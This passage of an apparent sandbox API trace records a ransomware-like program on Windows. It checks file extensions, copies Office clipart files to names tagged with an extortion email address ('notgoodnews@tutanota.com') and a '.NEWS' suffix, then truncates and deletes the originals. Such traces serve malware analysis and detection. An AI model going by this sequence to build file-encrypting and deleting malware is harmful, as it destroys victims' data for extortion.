(lpString1=".1cd", lpString2=".MID") returned -1 [0166.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.983] lstrlenW (lpString=".jpg") returned 4 [0166.983] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0166.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.983] lstrlenW (lpString=".doc") returned 4 [0166.983] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0166.983] lstrlenW (lpString=".docx") returned 5 [0166.983] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0166.983] lstrlenW (lpString=".pdf") returned 4 [0166.983] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0166.983] lstrlenW (lpString=".xls") returned 4 [0166.983] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0166.983] lstrlenW (lpString=".xlsx") returned 5 [0166.983] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0166.983] lstrlenW (lpString=".ppt") returned 4 [0166.983] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0166.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.983] lstrlenW (lpString=".zip") returned 4 [0166.983] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0166.983] lstrlenW (lpString=".rar") returned 4 [0166.983] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0166.983] lstrlenW (lpString=".bz2") returned 4 [0166.983] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0166.983] lstrlenW (lpString=".7z") returned 3 [0166.983] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0166.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.983] lstrlenW (lpString=".dbf") returned 4 [0166.983] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0166.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.984] lstrlenW (lpString=".1cd") returned 4 [0166.984] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0166.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0166.984] lstrlenW (lpString=".jpg") returned 4 [0166.984] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0166.984] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0166.984] lstrlenW (lpString="EAST_01.MID") returned 11 [0166.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.986] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6165) returned 1 [0166.986] CloseHandle (hObject=0x3ac) returned 1 [0166.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0166.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.987] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.987] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0166.987] GetLastError () returned 0x0 [0166.988] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1815, lpOverlapped=0x0) returned 1 [0166.990] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1820, lpOverlapped=0x0) returned 1 [0166.991] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.991] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xea, lpOverlapped=0x0) returned 1 [0166.991] SetEndOfFile (hFile=0x4dc) returned 1 [0166.991] CloseHandle (hObject=0x4dc) returned 1 [0166.991] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.991] SetEndOfFile (hFile=0x3ac) returned 1 [0166.994] CloseHandle (hObject=0x3ac) returned 1 [0166.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0166.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.252] lstrlenW (lpString=".doc") returned 4 [0167.252] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.252] lstrlenW (lpString=".docx") returned 5 [0167.252] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.252] lstrlenW (lpString=".pdf") returned 4 [0167.252] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.252] lstrlenW (lpString=".xls") returned 4 [0167.252] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.252] lstrlenW (lpString=".xlsx") returned 5 [0167.252] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.252] lstrlenW (lpString=".ppt") returned 4 [0167.252] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.252] lstrlenW (lpString=".zip") returned 4 [0167.252] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.252] lstrlenW (lpString=".rar") returned 4 [0167.252] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.252] lstrlenW (lpString=".bz2") returned 4 [0167.252] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.252] lstrlenW (lpString=".7z") returned 3 [0167.252] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.252] lstrlenW (lpString=".dbf") returned 4 [0167.252] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.252] lstrlenW (lpString=".1cd") returned 4 [0167.252] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.252] lstrlenW (lpString=".jpg") returned 4 [0167.252] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.253] lstrlenW (lpString=".doc") returned 4 [0167.253] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.253] lstrlenW (lpString=".docx") returned 5 [0167.253] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.253] lstrlenW (lpString=".pdf") returned 4 [0167.253] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.253] lstrlenW (lpString=".xls") returned 4 [0167.253] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.253] lstrlenW (lpString=".xlsx") returned 5 [0167.253] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.253] lstrlenW (lpString=".ppt") returned 4 [0167.253] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.253] lstrlenW (lpString=".zip") returned 4 [0167.253] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.253] lstrlenW (lpString=".rar") returned 4 [0167.253] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.253] lstrlenW (lpString=".bz2") returned 4 [0167.253] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.253] lstrlenW (lpString=".7z") returned 3 [0167.253] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.253] lstrlenW (lpString=".dbf") returned 4 [0167.253] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.253] lstrlenW (lpString=".1cd") returned 4 [0167.253] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0167.253] lstrlenW (lpString=".jpg") returned 4 [0167.253] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.253] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.254] lstrlenW (lpString="FINCL_02.MID") returned 12 [0167.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.271] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=9318) returned 1 [0167.271] CloseHandle (hObject=0x4dc) returned 1 [0167.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0167.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.272] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.272] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.274] GetLastError () returned 0x0 [0167.274] ReadFile (in: hFile=0x4dc, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2466, lpOverlapped=0x0) returned 1 [0167.276] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2470, lpOverlapped=0x0) returned 1 [0167.277] ReadFile (in: hFile=0x4dc, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.277] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.277] SetEndOfFile (hFile=0x3ac) returned 1 [0167.277] CloseHandle (hObject=0x3ac) returned 1 [0167.278] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.278] SetEndOfFile (hFile=0x4dc) returned 1 [0167.280] CloseHandle (hObject=0x4dc) returned 1 [0167.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0167.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.281] lstrlenW (lpString=".doc") returned 4 [0167.281] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.281] lstrlenW (lpString=".docx") returned 5 [0167.281] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0167.281] lstrlenW (lpString=".pdf") returned 4 [0167.282] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.282] lstrlenW (lpString=".xls") returned 4 [0167.282] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.282] lstrlenW (lpString=".xlsx") returned 5 [0167.282] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0167.282] lstrlenW (lpString=".ppt") returned 4 [0167.282] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.282] lstrlenW (lpString=".zip") returned 4 [0167.282] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.282] lstrlenW (lpString=".rar") returned 4 [0167.282] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.282] lstrlenW (lpString=".bz2") returned 4 [0167.282] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.282] lstrlenW (lpString=".7z") returned 3 [0167.282] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.282] lstrlenW (lpString=".dbf") returned 4 [0167.282] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.282] lstrlenW (lpString=".1cd") returned 4 [0167.282] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.282] lstrlenW (lpString=".jpg") returned 4 [0167.282] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.282] lstrlenW (lpString=".doc") returned 4 [0167.282] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.282] lstrlenW (lpString=".docx") returned 5 [0167.282] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0167.282] lstrlenW (lpString=".pdf") returned 4 [0167.282] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.283] lstrlenW (lpString=".xls") returned 4 [0167.283] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.283] lstrlenW (lpString=".xlsx") returned 5 [0167.283] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0167.283] lstrlenW (lpString=".ppt") returned 4 [0167.283] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.283] lstrlenW (lpString=".zip") returned 4 [0167.283] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.283] lstrlenW (lpString=".rar") returned 4 [0167.283] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.283] lstrlenW (lpString=".bz2") returned 4 [0167.283] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.283] lstrlenW (lpString=".7z") returned 3 [0167.283] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.283] lstrlenW (lpString=".dbf") returned 4 [0167.283] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.283] lstrlenW (lpString=".1cd") returned 4 [0167.283] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0167.283] lstrlenW (lpString=".jpg") returned 4 [0167.283] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.283] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.283] lstrlenW (lpString="GRID_01.MID") returned 11 [0167.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.284] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6331) returned 1 [0167.284] CloseHandle (hObject=0x4dc) returned 1 [0167.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0167.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.285] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.286] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.287] GetLastError () returned 0x0 [0167.287] ReadFile (in: hFile=0x4dc, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x18bb, lpOverlapped=0x0) returned 1 [0167.369] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0167.370] ReadFile (in: hFile=0x4dc, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.370] WriteFile (in: hFile=0x3ac, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xea, lpOverlapped=0x0) returned 1 [0167.370] SetEndOfFile (hFile=0x3ac) returned 1 [0167.379] CloseHandle (hObject=0x3ac) returned 1 [0167.382] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.382] SetEndOfFile (hFile=0x4dc) returned 1 [0167.413] CloseHandle (hObject=0x4dc) returned 1 [0167.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0167.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.787] lstrlenW (lpString=".doc") returned 4 [0167.787] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.787] lstrlenW (lpString=".docx") returned 5 [0167.787] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.787] lstrlenW (lpString=".pdf") returned 4 [0167.787] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.787] lstrlenW (lpString=".xls") returned 4 [0167.787] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.787] lstrlenW (lpString=".xlsx") returned 5 [0167.787] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.788] lstrlenW (lpString=".ppt") returned 4 [0167.788] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.788] lstrlenW (lpString=".zip") returned 4 [0167.788] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.788] lstrlenW (lpString=".rar") returned 4 [0167.788] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.788] lstrlenW (lpString=".bz2") returned 4 [0167.788] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.788] lstrlenW (lpString=".7z") returned 3 [0167.788] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.788] lstrlenW (lpString=".dbf") returned 4 [0167.788] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.788] lstrlenW (lpString=".1cd") returned 4 [0167.788] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.788] lstrlenW (lpString=".jpg") returned 4 [0167.788] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.788] lstrlenW (lpString=".doc") returned 